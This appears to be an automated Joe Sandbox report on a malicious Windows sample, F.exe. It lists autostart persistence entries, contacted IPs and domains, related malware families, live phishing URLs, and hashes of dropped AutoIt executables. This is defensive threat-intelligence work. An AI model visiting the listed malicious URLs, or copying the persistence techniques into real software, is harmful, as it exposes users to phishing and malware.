General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465838
Start date and time:	2024-07-02 06:50:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	F.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@32/223@8/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 287 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.28.46, 184.28.90.27, 52.113.194.132, 20.189.173.4, 20.42.65.92
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, onedscolprdwus03.westus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net, uks-azsc-config.officeapps.live.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:51:20	API Interceptor	256x Sleep call for process: Synaptics.exe modified
00:51:21	API Interceptor	90x Sleep call for process: powershell.exe modified
00:51:56	API Interceptor	1x Sleep call for process: WerFault.exe modified
00:52:19	API Interceptor	102x Sleep call for process: ._cache_F.exe modified
06:51:16	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run ????? C:\ProgramData\Synaptics\Synaptics.exe
06:52:21	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	ip-api.com/line/?fields=hosting
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/
	x433.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	DriverUpdt.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	rQuotation.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	8f5WsFcnTc.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	ZkqNrYh5cV.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	rQoutation.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	v31TgVEtHi.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
13.107.246.60	https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08	Get hash	malicious	HTMLPhisher	Browse
	https://app.smartsheet.com/b/download/att/1/4551989320961924/a9qsrcukwyvga6dsz82rixnmpg	Get hash	malicious	HTMLPhisher	Browse
	[EXTERNAL] Action Required_ ACH Remittance Review Abrholdings	Get hash	malicious	Unknown	Browse
	https://he110ca11he1lpn0wwb112.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	https://serviceca11he1pn0waa12.pages.dev/	Get hash	malicious	TechSupportScam	Browse
	2016621@hdel.co.kr_upgrade.htm	Get hash	malicious	Unknown	Browse
	http://www.escalon.services	Get hash	malicious	Unknown	Browse
	EFT 06282024, 013441 PM.html	Get hash	malicious	Unknown	Browse
	https://1drv.ms/o/s!At-8sPpRzvxIqQDSUMWIAACun1sr?e=FTp3hr	Get hash	malicious	HTMLPhisher	Browse
	https://lnkd.in/gX8qQ7ku	Get hash	malicious	Unknown	Browse
69.42.215.252	163.exe	Get hash	malicious	Unknown	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	sterverexe.exe	Get hash	malicious	FatalRAT, GhostRat, Nitol	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	gracNYJFpD.exe	Get hash	malicious	Bdaejec, GhostRat, Nitol, Young Lotus	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	RHC.exe	Get hash	malicious	Unknown	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	YHvknO2uwv.exe	Get hash	malicious	Gh0stCringe, RunningRAT	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Main.exe	Get hash	malicious	Unknown	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	qwARi7ZlD6.exe	Get hash	malicious	Njrat	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	http://mooo.com	Get hash	malicious	Unknown	Browse	freedns.afraid.org/images/powerani.gif
	Windows InstantView 2.exe	Get hash	malicious	PrivateLoader	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Windows InstantView 2.exe	Get hash	malicious	PrivateLoader	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	[EXTERNAL] Action Required_ ACH Remittance Review Abrholdings	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://he110ca11he1lpn0wwb112.pages.dev/	Get hash	malicious	TechSupportScam	Browse	13.107.246.60
	https://serviceca11he1pn0waa12.pages.dev/	Get hash	malicious	TechSupportScam	Browse	13.107.246.60
	2016621@hdel.co.kr_upgrade.htm	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://www.thaicreate.com/outlink.php?l=https://p6f.org/mI1AchQ3EllQ3Ez01lavallQ3EQ3E2APchD5QD5Q4DCz01oTx4RAW4G	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	http://www.escalon.services	Get hash	malicious	Unknown	Browse	13.107.246.60
	EFT 06282024, 013441 PM.html	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://1drv.ms/o/s!At-8sPpRzvxIqQDSUMWIAACun1sr?e=FTp3hr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://lnkd.in/gX8qQ7ku	Get hash	malicious	Unknown	Browse	13.107.246.60
ip-api.com	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	x433.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	DriverUpdt.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	rQuotation.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8f5WsFcnTc.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	ZkqNrYh5cV.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rQoutation.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	v31TgVEtHi.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
freedns.afraid.org	163.exe	Get hash	malicious	Unknown	Browse	69.42.215.252
	sterverexe.exe	Get hash	malicious	FatalRAT, GhostRat, Nitol	Browse	69.42.215.252
	gracNYJFpD.exe	Get hash	malicious	Bdaejec, GhostRat, Nitol, Young Lotus	Browse	69.42.215.252
	RHC.exe	Get hash	malicious	Unknown	Browse	69.42.215.252
	YHvknO2uwv.exe	Get hash	malicious	Gh0stCringe, RunningRAT	Browse	69.42.215.252
	Main.exe	Get hash	malicious	Unknown	Browse	69.42.215.252
	qwARi7ZlD6.exe	Get hash	malicious	Njrat	Browse	69.42.215.252
	http://mooo.com	Get hash	malicious	Unknown	Browse	69.42.215.252
	Windows InstantView 2.exe	Get hash	malicious	PrivateLoader	Browse	69.42.215.252
	Windows InstantView 2.exe	Get hash	malicious	PrivateLoader	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPECTRAIPSpectraIPBVNL	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	45.141.26.232
	oniCmGMx16.exe	Get hash	malicious	Unknown	Browse	45.144.167.158
	zbRmQrzaHY.dll	Get hash	malicious	Wannacry	Browse	45.139.167.2
	e9d0af516a8d65649c6850b69ff15e65cba280f8d44dbc505882dd16cf922320_dump.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse	45.138.16.219
	filedoc3720001.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse	45.138.16.219
	DND3243676432.exe	Get hash	malicious	Remcos	Browse	45.141.215.89
	Inventory-List.exe	Get hash	malicious	Remcos	Browse	45.141.215.89
	nv6mqExGOo.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.27.41
	y9vR6M5sU6.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.119
	84I4L4SXB5.exe	Get hash	malicious	AveMaria, UACMe	Browse	45.138.16.138
MICROSOFT-CORP-MSN-AS-BLOCKUS	mirai.spc.elf	Get hash	malicious	Mirai	Browse	20.214.3.230
	mirai.x86.elf	Get hash	malicious	Mirai	Browse	13.71.123.37
	https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://app.smartsheet.com/b/download/att/1/4551989320961924/a9qsrcukwyvga6dsz82rixnmpg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	[EXTERNAL] Action Required_ ACH Remittance Review Abrholdings	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://he110ca11he1lpn0wwb112.pages.dev/	Get hash	malicious	TechSupportScam	Browse	13.107.246.60
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	40.86.87.10
	https://serviceca11he1pn0waa12.pages.dev/	Get hash	malicious	TechSupportScam	Browse	13.107.246.60
	http://pub-0ed5a1f263894eab8341e034994e9627.r2.dev/park.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	2016621@hdel.co.kr_upgrade.htm	Get hash	malicious	Unknown	Browse	13.107.246.60
TUT-ASUS	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	x433.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	DriverUpdt.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	rQuotation.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8f5WsFcnTc.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	ZkqNrYh5cV.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rQoutation.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	v31TgVEtHi.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
AWKNET-LLCUS	163.exe	Get hash	malicious	Unknown	Browse	69.42.215.252
	sterverexe.exe	Get hash	malicious	FatalRAT, GhostRat, Nitol	Browse	69.42.215.252
	gracNYJFpD.exe	Get hash	malicious	Bdaejec, GhostRat, Nitol, Young Lotus	Browse	69.42.215.252
	RHC.exe	Get hash	malicious	Unknown	Browse	69.42.215.252
	YHvknO2uwv.exe	Get hash	malicious	Gh0stCringe, RunningRAT	Browse	69.42.215.252
	https://been.sinclairimaging.com/cherrishhere/inthetreess/1030023sin5x6rroY1LCPe3P7ZrWxHmLv3iN%2Bu7IGFO51TnAztDsCZc13Mo53tQlPwTluQ7KpLEIt%2FyKEv0ne34dyhr%2FrfqQ%3D%3Dcla9202-/brruiisebee/kilttwear	Get hash	malicious	Phisher	Browse	67.220.84.116
	Main.exe	Get hash	malicious	Unknown	Browse	69.42.215.252
	qwARi7ZlD6.exe	Get hash	malicious	Njrat	Browse	69.42.215.252
	http://mooo.com	Get hash	malicious	Unknown	Browse	69.42.215.252
	Windows InstantView 2.exe	Get hash	malicious	PrivateLoader	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	13.107.246.60
	MOD_200.pdf.lnk	Get hash	malicious	Arc Stealer	Browse	13.107.246.60
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	capisp.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	13.107.246.60
	20240506_120821.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	Renameme@1.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	mkFOY01Gl5.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	zyJWi2vy29.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer, Vidar, zgRAT	Browse	13.107.246.60
	92s4OjHVFf.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	SecuriteInfo.com.Win32.Malware-gen.371.3693.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
37f463bf4616ecd445d4a1937da06e19	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	216.58.206.78 142.250.184.225
	68#U2466.hta	Get hash	malicious	Unknown	Browse	216.58.206.78 142.250.184.225
	MOD_200.pdf.lnk	Get hash	malicious	Arc Stealer	Browse	216.58.206.78 142.250.184.225
	SecuriteInfo.com.Win32.BootkitX-gen.7605.8583.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	216.58.206.78 142.250.184.225
	DHL Shipping Document Awb & BL.vbs	Get hash	malicious	GuLoader, Remcos	Browse	216.58.206.78 142.250.184.225
	capisp.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	216.58.206.78 142.250.184.225
	TOP URGENT PURCHASE ORDER SHEET & SPECIFICATIONS.vbs	Get hash	malicious	GuLoader, Remcos	Browse	216.58.206.78 142.250.184.225
	doc20240625-00073.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	216.58.206.78 142.250.184.225
	SeAH RFP_24-0676#U00b7pdf.exe	Get hash	malicious	GuLoader, Lokibot	Browse	216.58.206.78 142.250.184.225
	20240506_120821.xls	Get hash	malicious	Unknown	Browse	216.58.206.78 142.250.184.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse
C:\Program Files (x86)\AutoIt3\Au3Info.exe	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse
C:\Program Files (x86)\AutoIt3\Au3Check.exe	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	275560
Entropy (8bit):	6.292868175467042
Encrypted:	false
SSDEEP:	3072:zr8WDrCoP5KVkD8QC2mCBFv9m7usyT8tKQ9clyPqlO91/iDVSsWUG0bCP0BwOvO9:Puo4VQjVsxyItKQNhigibKCM
MD5:	5BFFBD5E0AC5D8C8E8F7257912599415
SHA1:	5A9F6AB857410BB9F3108A5A6ACF8A7EBA58361F
SHA-256:	A3C4641D4CB4608AF18CD06E4C01339C65C25B9289F0AA01CABE0E5C250A0E15
SHA-512:	D576DEE2BF7C66293758F07B2A19B8659BA5A65D2FA9C05BA254008F30B46447871FC66B7DED6AD6796B34FB91406F17536DF6E8E2465723138A31A9C8DA5B36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 97%
Joe Sandbox View:	Filename: java_update.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217704
Entropy (8bit):	6.601006983838455
Encrypted:	false
SSDEEP:	3072:zr8WDrC7xFVaK4T6fWSlXe0lJQafeyrR0kr/yh5DEU/Pk13TfwqiTP0McBUNnUxW:PuV2K4TSFo5Y683TdiQMcGNUl4N
MD5:	633E57697FE20B13A19E565EFB15550B
SHA1:	4D789F99FD6D9E3024E2E1A35922E875E5F3F113
SHA-256:	55075BDACF914AF03AD6CD417AFFC3A604A73AFD3D06A2256A1835CBF0F39B5E
SHA-512:	8C49A2C57A51C209E1B032C554AB2251F3DB6FA8FE0609B9EFE9A60412C9018A90B22F61D9027895432FC3615DB54A25DCD55CF5210BFAD7C73B3CF5906A15DB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: java_update.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237160
Entropy (8bit):	6.436536629191244
Encrypted:	false
SSDEEP:	3072:zr8WDrCIyRnuBGwl/1Gc9QnvGqyWQ93kr/yh5DEU/P5kP0zU35iuvQBUeGMLu:Pu7l3wdYtcH9b5Y651zU77Ea
MD5:	80D5957764641A059A246ACC3B876FD8
SHA1:	379F4A825CF3B9EA2CBF96D0AFAA6F5192BE25A0
SHA-256:	B904C8888CD019FAD590E1135E917D944BC16340757BC90DDD3511359766B8BB
SHA-512:	4FE0AECD7F5B44FA5AC52165C566EEE57145AAA2AF59FBB449B7629511C3A727F09E3A91082DE7845490329619C90CA4ACAF4094CFD7888A97B7FBE1F70A7EAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: java_update.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1675872
Entropy (8bit):	7.454506618256521
Encrypted:	false
SSDEEP:	24576:PC51xB6B9YNgqe1xTVIlz7X9zOo4PjnikEpx/nLWvJ+l:YK0eqkSR7Xgo4TiRPnLWvJY
MD5:	14FA88A275AB539403725314719128FA
SHA1:	2008F40C314CAE10B55206801AA1B1610F0A872F
SHA-256:	15D3823B1CB8C10E2F0A0882BC273093742E957F0E7DB05B98B8FF020897559D
SHA-512:	61CB80AD2D4D2E7AC85AADA0E97C5E9596F9AB26473EBDBB911D139BCD7E5EFA60F67B0D7EDAD98E9BBAD9C3E460082D06EBFBC045F536C786F3E98E53C28E23
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: java_update.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1841760
Entropy (8bit):	7.347582112627405
Encrypted:	false
SSDEEP:	24576:tEeK2NocwiN/jc41p3qp11JsqbhOUe1xTVIlz7X9zOo4PjnikEpx/nLWvJ+i:PfYP1JsEDkSR7Xgo4TiRPnLWvJD
MD5:	B7EAC627FCC70BC9F0368BA3D63DCCFC
SHA1:	553FEDAA430E83E64650D0BEE5062D4DA2CBF07D
SHA-256:	1DC472EF534923F12EFCA5AE928CC3E8545D1E468F905E693DF88D241C614A46
SHA-512:	1556951F835F60830738084CB17639BAC7F1E9DF6592F0F4D3D66365924C0395164CA76DC8F8D8E1AE0847E316D702D96D2D6152B62B69D29ADE3681566102D7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346624
Entropy (8bit):	7.902529878602557
Encrypted:	false
SSDEEP:	6144:PuEpXDXz7yIrozs0WuNd3ojusBdgnNW6r4F53ttuGENGFdVCLEYnPO1D7YYoSyZV:59zGImAjJdcH4j3ttzFdVCLNSfHoSWCG
MD5:	49D006F81FC856B0ED3A6744396C6E82
SHA1:	9285A78391AA44520B5134F5EA46BD7FC4E01A2E
SHA-256:	FE301BD4EE2124BA25B1CE60C9BC9A7604089514C8A5CFE72F6E1AB2A17A8F1D
SHA-512:	3EB2D67DD36230C6468D2810E13EE7FCF25D84E5D099612F803C4F2AF309724FCC1896034A124DDFDA35FBB401DBC5D1030D87F4BF4F08FFDCD1682F0BA1A634
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 94%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	165976
Entropy (8bit):	6.135299341821214
Encrypted:	false
SSDEEP:	3072:zr8WDrCovkvQ4gXIRSG+7IJqC3CJyoDjpBnjkP0XGx2SYg+b/Q+y1s3:PugnGZLknnj1X62SYdb4I
MD5:	BA8EA53268BDE311893484210DB5D175
SHA1:	CED5F2D8D56A2E35FC12722ADA4B6F89D2D18987
SHA-256:	11B0A81DF6BB3DF63262042E1D7ACC55B057B44C9264B60F5F145A98E0FB966D
SHA-512:	B8708FB369CAD49A0B1A804C3D0E098CBD1E3B67A37D5249D84F95A29CD07381BEBEE5E81D6AC9E3B4125A784550DBE2292540CD8561321D70B3C5514AEF87C3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1113176
Entropy (8bit):	6.446467711397749
Encrypted:	false
SSDEEP:	24576:kTC6Rb6qu1PyC+NRLtpScpzbtT7pyOolKL8Sq/jrc5xaNIBg:k+6AqSPyC+NltpScpzbtvpJoMQSq/jrL
MD5:	7EED01A3E7667D1DC5E9A8F19C31A4D3
SHA1:	ABD806F0580C5B56BE794BFE44650D7641A6D71A
SHA-256:	31F7CDBC86FF5CBB03CB43D30F13DC8280997AB285BDACA68BE731BC82C5C1FC
SHA-512:	00949C67DA8561B33FD6D7B83FDDAB5B2340604FDA26737F9F24858A29D1DD54984B67EE4F25505477C4E30150EF62192515656EB70F4430E9B82E08358CFBE8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2414080
Entropy (8bit):	6.728757078944773
Encrypted:	false
SSDEEP:	49152:G1GSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL8:s4OEtwiICvYMpfc
MD5:	8CD88B0C755A7E8D9E072BE4DAF2BE25
SHA1:	0AE0551EBC89A6B88515B12F2AD4171FFDA9ACC4
SHA-256:	6BE9791EF08C87545F7EDD41B70880640C568EA1A5DD2EE76CDE400D6F722552
SHA-512:	84041FFA70DB1A3057B423D4F693E165C6B8F927C2FA9AE58323C5B3D887EDE5E4EFEC3E49784C19C410D58EFF77F4F04F69468A7D941AAE68599034654C821E
Malicious:	true
